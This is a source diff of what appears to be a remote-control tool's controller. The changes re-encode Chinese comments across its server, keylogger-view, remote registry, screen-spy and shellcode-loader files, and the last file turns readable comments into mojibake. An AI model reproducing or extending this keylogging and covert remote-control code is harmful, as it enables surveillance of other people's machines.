POINT m_lastMousePoint;// <EFBFBD>ϴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD>
clock_t m_lastMouseMove; // 鼠标移动时间
POINT m_lastMousePoint;// 上次鼠标位置
private:
CString m_aviFile;

View File

@@ -1,4 +1,4 @@
#include "stdafx.h"
#include "stdafx.h"
#include "IOCPKCPServer.h"
#include "IOCPServer.h"
@@ -28,12 +28,12 @@ CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET s
return it->second;
}
// <EFBFBD>½<EFBFBD> CONTEXT_KCP
// 新建 CONTEXT_KCP
CONTEXT_KCP* ctx = new CONTEXT_KCP();
ctx->InitMember(sClientSocket, this);
ctx->clientAddr = addr;
// <EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD> kcp
// 初始化 kcp
IUINT32 conv = KCP_SESSION_ID;
ctx->kcp = ikcp_create(conv, ctx);
@@ -41,14 +41,14 @@ CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET s
CONTEXT_KCP* c = (CONTEXT_KCP*)user;
WSABUF wsaBuf = { len, (CHAR*)buf };
DWORD sent = 0;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ctx<EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD>˿ڷ<EFBFBD><EFBFBD><EFBFBD>
// ע<EFBFBD>⣺Ҫ<EFBFBD><EFBFBD>֤ ctx <20><>Ӧ<EFBFBD>ͻ<EFBFBD><CDBB>˵<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD> sClientSocket <EFBFBD><EFBFBD>ȷ
// 根据ctx存储的IP端口发送
// 注意:要保证 ctx 对应客户端地址,且 sClientSocket 正确
int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0,
(sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL);
if (ret == SOCKET_ERROR)
{
DWORD err = WSAGetLastError();
// <EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD>ӡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
// 可以打印错误日志
return -1;
}
return 0;
@@ -85,13 +85,13 @@ UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc
m_running = true;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
// 启动IOCP工作线程
m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
((IOCPKCPServer*)param)->WorkerThread();
return 0;
}, this, 0, NULL);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCP<EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
// 启动KCP定时更新线程
m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this);
Mprintf("IOCPKCPServer StartServer: %p\n", this);
@@ -131,7 +131,7 @@ void IOCPKCPServer::WorkerThread()
} else {
DWORD err = WSAGetLastError();
if (err != WSAEWOULDBLOCK && err != WSAEINTR) {
// <EFBFBD><EFBFBD>ӡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 打印错误或做其他处理
}
}
}
@@ -197,7 +197,7 @@ void IOCPKCPServer::Destroy()
m_hIOCP = NULL;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>пͻ<EFBFBD><EFBFBD><EFBFBD>
// 清理所有客户端
std::lock_guard<std::mutex> lock(m_contextsMutex);
for (auto& kv : m_clients) {
if (kv.second) {

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "Server.h"

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "StdAfx.h"
#include <WinSock2.h>
@@ -8,9 +8,9 @@
#define NC_CLIENT_CONNECT 0x0001
#define NC_RECEIVE 0x0004
#define NC_RECEIVE_COMPLETE 0x0005 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_RECEIVE_COMPLETE 0x0005 // 完整接收
// ZLIB ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// ZLIB 压缩库
#include "zlib/zlib.h"
// ZSTD
@@ -110,7 +110,7 @@ typedef CONTEXT_OBJECT ClientContext;
#define m_Socket sClientSocket
#define m_DeCompressionBuffer InDeCompressedBuffer
// <EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĶԻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD>
// 所有动态创建的对话框的基类
class CDialogBase : public CDialog
{
public:
@@ -154,7 +154,7 @@ public:
return FALSE;
}
virtual void OnReceiveComplete(void) = 0;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 标记为是否正在接受数据
void MarkReceiving(bool recv = true)
{
m_bIsProcessing = recv;
@@ -184,7 +184,7 @@ public:
{
return FALSE;
}
// ȡ<EFBFBD><EFBFBD> SOCKET <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ε<EFBFBD><EFBFBD><EFBFBD>
// 取消 SOCKET 读取,该函数可以被多次调用
void CancelIO()
{
m_bIsClosed = TRUE;

View File

@@ -1,4 +1,4 @@
#include "stdafx.h"
#include "stdafx.h"
#include "IOCPUDPServer.h"
#include <thread>
#include <iostream>
@@ -37,17 +37,17 @@ UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc
m_running = true;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
// 启动工作线程
m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD {
((IOCPUDPServer*)param)->WorkerThread();
return 0;
}, this, 0, NULL);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 提交多个初始接收
for (int i = 0; i < 4; ++i)
PostRecv();
return 0; // <EFBFBD>ɹ<EFBFBD>
return 0; // 成功
}
void IOCPUDPServer::PostRecv()
@@ -111,12 +111,12 @@ void IOCPUDPServer::WorkerThread()
if (999 != ret)
ctx->Destroy();
// <EFBFBD>ͷ<EFBFBD>
// 释放
ioCtx->pContext = NULL;
delete ioCtx;
DelCount();
PostRecv(); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
PostRecv(); // 继续提交
}
SAFE_CLOSE_HANDLE(m_hThread);
m_hThread = NULL;
@@ -158,7 +158,7 @@ BOOL IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, U
VOID IOCPUDPServer::Destroy()
{
if (m_socket != INVALID_SOCKET) {
CancelIoEx((HANDLE)m_socket, NULL); // ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IO<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CancelIoEx((HANDLE)m_socket, NULL); // 取消所有IO请求
closesocket(m_socket);
m_socket = INVALID_SOCKET;
}
@@ -167,7 +167,7 @@ VOID IOCPUDPServer::Destroy()
Sleep(200);
m_running = false;
PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // <EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>
PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // 用于唤醒线程退出
if (m_hThread) {
WaitForSingleObject(m_hThread, INFINITE);

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include <winsock2.h>
#include <windows.h>
#include <mswsock.h>

View File

@@ -1,4 +1,4 @@
// KeyBoardDlg.cpp : implementation file
// KeyBoardDlg.cpp : implementation file
//
#include "stdafx.h"
@@ -65,18 +65,18 @@ BOOL CKeyBoardDlg::OnInitDialog()
if (pSysMenu != NULL) {
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "<EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼(&O)");
pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>¼(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼(&S)");
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
}
UpdateTitle();
m_edit.SetLimitText(MAXDWORD); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>󳤶<EFBFBD>
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
// ֪ͨԶ<EFBFBD>̿<EFBFBD><EFBFBD>ƶ˶Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
@@ -88,11 +88,11 @@ BOOL CKeyBoardDlg::OnInitDialog()
void CKeyBoardDlg::UpdateTitle()
{
CString str;
str.Format(_T("%s - <EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼"), m_IPAddress);
str.Format(_T("%s - 键盘记录"), m_IPAddress);
if (m_bIsOfflineRecord)
str += " (<EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼<EFBFBD>ѿ<EFBFBD><EFBFBD><EFBFBD>)";
str += " (离线记录已开启)";
else
str += " (<EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>)";
str += " (离线记录未开启)";
SetWindowText(str);
}
@@ -109,7 +109,7 @@ void CKeyBoardDlg::OnReceiveComplete()
void CKeyBoardDlg::AddKeyBoardData()
{
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
// 最后填上0
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
@@ -119,13 +119,13 @@ void CKeyBoardDlg::AddKeyBoardData()
bool CKeyBoardDlg::SaveRecord()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "<EFBFBD>ı<EFBFBD><EFBFBD>ĵ<EFBFBD>(*.txt)|*.txt|", this);
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "文本文档(*.txt)|*.txt|", this);
if(dlg.DoModal () != IDOK)
return false;
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>"+dlg.GetPathName(), "<EFBFBD><EFBFBD>ʾ");
MessageBox("文件保存失败:"+dlg.GetPathName(), "提示");
return false;
}
// Write the DIB header and the bits
@@ -196,7 +196,7 @@ BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
void CKeyBoardDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;

View File

@@ -1,4 +1,4 @@
#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_
#include "Resource.h"

View File

@@ -1,4 +1,4 @@
// RDIShellcodeCLoader.cpp : Defines the entry point for the console application.
// RDIShellcodeCLoader.cpp : Defines the entry point for the console application.
// https://github.com/Drewsif/sRDI/blob/master/Native/Loader.cpp
#include <windows.h>

View File

@@ -1,4 +1,4 @@
// RegisterDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// RegisterDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -21,7 +21,7 @@ enum KEYVALUE {
MREG_EXPAND_SZ
};
// CRegisterDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CRegisterDlg 对话框
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
@@ -52,7 +52,7 @@ BEGIN_MESSAGE_MAP(CRegisterDlg, CDialog)
END_MESSAGE_MAP()
// CRegisterDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CRegisterDlg 消息处理程序
BOOL CRegisterDlg::OnInitDialog()
@@ -61,12 +61,12 @@ BOOL CRegisterDlg::OnInitDialog()
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><EFBFBD>
// TODO: 在此添加额外的初始化
CString str;
str.Format("%s - ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
str.Format("%s - 注册表管理", m_IPAddress);
SetWindowText(str);
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //制作 树控件上的图标
auto hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0);
m_ImageListTree.Add(hIcon);
@@ -75,7 +75,7 @@ BOOL CRegisterDlg::OnInitDialog()
m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL);
m_hRoot = m_Tree.InsertItem("ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",0,0,0,0); //0
m_hRoot = m_Tree.InsertItem("注册表管理",0,0,0,0); //0
HKCU = m_Tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); //1
HKLM = m_Tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
HKUS = m_Tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
@@ -84,26 +84,26 @@ BOOL CRegisterDlg::OnInitDialog()
m_Tree.Expand(m_hRoot,TVE_EXPAND);
m_ControlList.InsertColumn(0,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,150,-1);
m_ControlList.InsertColumn(1,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,60,-1);
m_ControlList.InsertColumn(2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,300,-1);
m_ControlList.InsertColumn(0,"名称",LVCFMT_LEFT,150,-1);
m_ControlList.InsertColumn(1,"类型",LVCFMT_LEFT,60,-1);
m_ControlList.InsertColumn(2,"数据",LVCFMT_LEFT,300,-1);
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
//////<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><EFBFBD>//////
//////添加图标//////
m_ImageListControlList.Create(16,16,TRUE,2,2);
m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_STRING));
m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_DWORD));
m_ControlList.SetImageList(&m_ImageListControlList,LVSIL_SMALL);
m_isEnable = TRUE; //<EFBFBD><EFBFBD>ֵ<EFBFBD><EFBFBD>Ϊ<EFBFBD>˽<EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD> <20>򱻿ض<F2B1BBBF><D8B6><EFBFBD><EFBFBD><EFBFBD>
m_isEnable = TRUE; //该值是为了解决频繁 向被控端请求
return TRUE; // return TRUE unless you set the focus to a control
// <EFBFBD>: OCX <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳӦ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> FALSE
// 异常: OCX 属性页应返回 FALSE
}
void CRegisterDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -129,20 +129,20 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
return;
}
m_hSelectedItem=Item.hItem; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD>򿪵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //0 1 2 2 3
m_hSelectedItem=Item.hItem; //保存用户打开的子树节点句柄 //0 1 2 2 3
m_ControlList.DeleteAllItems();
CString strFullPath=GetFullPath(m_hSelectedItem); //<EFBFBD><EFBFBD><EFBFBD>ü<EFBFBD>ֵ·<EFBFBD><EFBFBD>
CString strFullPath=GetFullPath(m_hSelectedItem); //获得键值路径
char bToken=GetFatherPath(strFullPath); //[2] \1\2\3
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nitem=m_ControlList.InsertItem(0,"(Ĭ<EFBFBD><EFBFBD>)",0);
//愈加一个键
int nitem=m_ControlList.InsertItem(0,"(默认)",0);
m_ControlList.SetItemText(nitem,1,"REG_SZ");
m_ControlList.SetItemText(nitem,2,"(<EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ)");
m_ControlList.SetItemText(nitem,2,"(数据未设置值)");
strFullPath.Insert(0,bToken);//<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>
strFullPath.Insert(0,bToken);//插入 那个根键
bToken=COMMAND_REG_FIND;
strFullPath.Insert(0,bToken); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
strFullPath.Insert(0,bToken); //插入查询命令 [COMMAND_REG_FIND][x]
m_ContextObject->Send2Client((LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
@@ -163,7 +163,7 @@ CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
if(strTemp.Right(1) != "\\")
strTemp += "\\";
strReturn = strTemp + strReturn;
hCurrent = m_Tree.GetParentItem(hCurrent); //<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
hCurrent = m_Tree.GetParentItem(hCurrent); //得到父的
}
return strReturn;
}
@@ -171,7 +171,7 @@ CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
char CRegisterDlg::GetFatherPath(CString& strFullPath)
{
char bToken;
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) { //<EFBFBD>ж<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) { //判断主键
bToken=MHKEY_CLASSES_ROOT;
strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
} else if(!strFullPath.Find("HKEY_CURRENT_USER")) {
@@ -210,7 +210,7 @@ void CRegisterDlg::OnReceiveComplete(void)
break;
}
default:
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 传输发生异常数据
break;
}
m_bIsWorking = FALSE;
@@ -218,9 +218,9 @@ void CRegisterDlg::OnReceiveComplete(void)
struct REGMSG {
int count; //<EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD>
DWORD size; //<EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>С
DWORD valsize; //ֵ<EFBFBD><EFBFBD>С
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
@@ -232,12 +232,12 @@ void CRegisterDlg::AddPath(char* szBuffer)
memcpy((void*)&msg,szBuffer,msgsize);
DWORD size =msg.size;
int count=msg.count;
if(size>0&&count>0) { //һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʩ
if(size>0&&count>0) { //一点保护措施
for(int i=0; i<count; ++i) {
if (m_bIsClosed)
break;
char* szKeyName=szBuffer+size*i+msgsize;
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//插入子键名称
m_Tree.Expand(m_hSelectedItem,TVE_EXPAND);
}
}
@@ -257,11 +257,11 @@ void CRegisterDlg::AddKey(char* szBuffer)
for(int i=0; i<msg.count; ++i) {
if (m_bIsClosed)
break;
BYTE Type=szTemp[0]; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE Type=szTemp[0]; //类型
szTemp+=sizeof(BYTE);
char* szValueName=szTemp; //ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char* szValueName=szTemp; //取出名字
szTemp+=msg.size;
BYTE* szValueData=(BYTE*)szTemp; //ȡ<EFBFBD><EFBFBD>ֵ
BYTE* szValueData=(BYTE*)szTemp; //取出值
szTemp+=msg.valsize;
if(Type==MREG_SZ) {
int iItem=m_ControlList.InsertItem(0,szValueName,0);
@@ -269,7 +269,7 @@ void CRegisterDlg::AddKey(char* szBuffer)
m_ControlList.SetItemText(iItem,2,(char*)szValueData);
}
if(Type==MREG_DWORD) {
// <EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD> REG_DWORD <EFBFBD><EFBFBD><EFBFBD>͵Ĵ<EFBFBD><EFBFBD><EFBFBD>
// 对注册表 REG_DWORD 类型的处理
char ValueData[256] = {0};
INT_PTR d=(INT_PTR)szValueData;
memcpy((void*)&d,szValueData,sizeof(INT_PTR));
@@ -283,7 +283,7 @@ void CRegisterDlg::AddKey(char* szBuffer)
m_ControlList.SetItemText(iItem,2,strValue);
}
if(Type==MREG_BINARY) {
// <EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD> REG_BINARY <EFBFBD><EFBFBD><EFBFBD>͵Ĵ<EFBFBD><EFBFBD><EFBFBD>
// 对注册表 REG_BINARY 类型的处理
char *ValueData = new char[msg.valsize+1];
sprintf(ValueData,"%s",szValueData);

View File

@@ -1,32 +1,32 @@
#pragma once
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
// CRegisterDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CRegisterDlg 对话框
class CRegisterDlg : public DialogBase
{
DECLARE_DYNAMIC(CRegisterDlg)
public:
CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
virtual ~CRegisterDlg();
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_REGISTER };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
BOOL m_bIsWorking;// <EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL m_bIsWorking;// 正在处理注册表
CTreeCtrl m_Tree;
CImageList m_ImageListTree; //<EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD>ϵ<EFBFBD>ͼ<EFBFBD><EFBFBD>
CImageList m_ImageListTree; //树控件上的图标
CListCtrl m_ControlList;
CImageList m_ImageListControlList; //ControlList<EFBFBD>ϵ<EFBFBD>ͼ<EFBFBD><EFBFBD>
CImageList m_ImageListControlList; //ControlList上的图标
virtual BOOL OnInitDialog();
afx_msg void OnClose();
HTREEITEM m_hRoot;

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "IOCPServer.h"
#include "..\..\client\CursorInfo.h"
#include "VideoDlg.h"
@@ -39,7 +39,7 @@ extern "C"
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "Strmiids.lib")
// CScreenSpyDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CScreenSpyDlg 对话框
class CScreenSpyDlg : public DialogBase
{
@@ -72,7 +72,7 @@ public:
POINT m_ClientCursorPos;
BYTE m_bCursorIndex;
BOOL m_bIsTraceCursor;
CCursorInfo m_CursorInfo; //<EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>ϵͳ<EFBFBD>Ĺ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CCursorInfo m_CursorInfo; //自定义的一个系统的光标类
VOID SendCommand(const MYMSG* Msg);
void SendScaledMouseMessage(MSG* pMsg, bool makeLP);
VOID UpdateServerClipboard(char *szBuffer,ULONG ulLength);
@@ -86,7 +86,7 @@ public:
bool m_bHide = false;
BOOL SaveSnapshot(void);
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_SCREEN_SPY };
BOOL m_bFullScreen;
@@ -98,8 +98,8 @@ public:
AVPacket m_AVPacket;
AVFrame m_AVFrame;
clock_t m_lastMouseMove; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>ʱ<EFBFBD><EFBFBD>
POINT m_lastMousePoint;// <EFBFBD>ϴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD>
clock_t m_lastMouseMove; // 鼠标移动时间
POINT m_lastMousePoint;// 上次鼠标位置
BOOL m_bAdaptiveSize = TRUE;
HCURSOR m_hRemoteCursor = NULL;
CRect m_CRect;
@@ -132,7 +132,7 @@ public:
}
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,16 +1,16 @@
#include "stdafx.h"
#include "stdafx.h"
#include "ServerServiceWrapper.h"
#include "ServerSessionMonitor.h"
#include <stdio.h>
#include <winsvc.h>
// 静态变量
// 闈欐€佸彉閲?
static SERVICE_STATUS g_ServiceStatus;
static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
static HANDLE g_StopEvent = INVALID_HANDLE_VALUE;
// 前向声明
// 鍓嶅悜澹版槑
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
@@ -23,25 +23,25 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
exePath[0] = '\0';
}
// 打开 SCM
// 鎵撳紑 SCM
